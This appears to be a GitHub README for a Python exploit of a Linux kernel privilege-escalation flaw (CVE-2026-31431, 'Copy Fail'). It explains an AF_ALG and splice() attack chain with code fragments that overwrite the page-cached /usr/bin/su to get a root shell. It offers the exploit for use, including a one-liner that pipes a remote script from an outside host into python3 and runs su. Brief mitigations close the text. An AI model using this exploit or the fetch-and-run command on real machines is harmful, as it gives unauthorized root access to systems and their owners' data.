abhishekhargan/cve-2026-31431Python exploit for Linux kernel local privilege escalation (CVE-2026-31431) using AF_ALG socket state confusion and splice() to achieve arbitrary file write and root access.
This repository is strictly for educational and cybersecurity research purposes. The exploit code is analyzed to understand the underlying vulnerability, facilitate patching, and develop defensive strategies. Do not use this against systems you do not own or have explicit authorization to test.
"Copy Fail" is a critical Local Privilege Escalation (LPE) vulnerability found in the Linux Kernel. It allows an unprivileged user to gain root access by exploiting a flaw in how the kernel handles memory operations between the file system and the Asynchronous Cryptography API (AF_ALG).
The provided Python exploit leverages a combination of obscure Linux syscalls and interfaces to achieve an arbitrary out-of-bounds (OOB) write in kernel memory, which is then translated into an arbitrary file write on disk.
Here is the step-by-step breakdown of the attack chain:
AF_ALG Interface Initializationa=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
The script creates an AF_ALG socket (Family 38). This interface allows user-space applications to offload cryptographic operations to the kernel. It specifically requests an AEAD (Authenticated Encryption with Associated Data) cipher chain combining HMAC-SHA256 and CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
The script manipulates the socket's internal state using setsockopt. The hexadecimal payload and the None argument are carefully crafted to trigger a boundary condition or integer overflow in the kernel's crypto API buffer management. This "fails" the copy operation safely inside the kernel, leaving the socket in an inconsistent, vulnerable state.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
This is the core of the exploit. Instead of reading data into user space and writing it back, splice() moves data directly between file descriptors entirely in kernel space.
The script opens /usr/bin/su (a SUID root binary) and attempts to splice data from it into the misconfigured AF_ALG socket. Because the socket's state was corrupted in Step 2, the kernel's bounds checking fails during this zero-copy operation.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
The script unpacks a compressed payload (likely a small shellcode or modified binary blob). It enters a loop, sending this payload 4 bytes at a time into the corrupted socket buffer. Because of the bounds-checking failure, these 4-byte writes land at arbitrary offsets in the kernel's page cache—the exact memory space where /usr/bin/su is loaded.
g.system("su")
By overwriting specific instruction pointers or logic checks within the page-cached version of /usr/bin/su, the attacker modifies the binary's behavior. When system("su") is called, it executes the modified SUID binary. The binary runs as root but skips the standard password verification, dropping the attacker directly into a root shell.
Download and run copyfail.py in your linux system OR use below curl request for quick run
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: If cryptographic offloading is not required by your workloads, disable the af_alg kernel module by adding blacklist af_alg to /etc/modprobe.d/blacklist.conf.splice(), socket() (specifically family 38), and setsockopt() using strict Seccomp filters.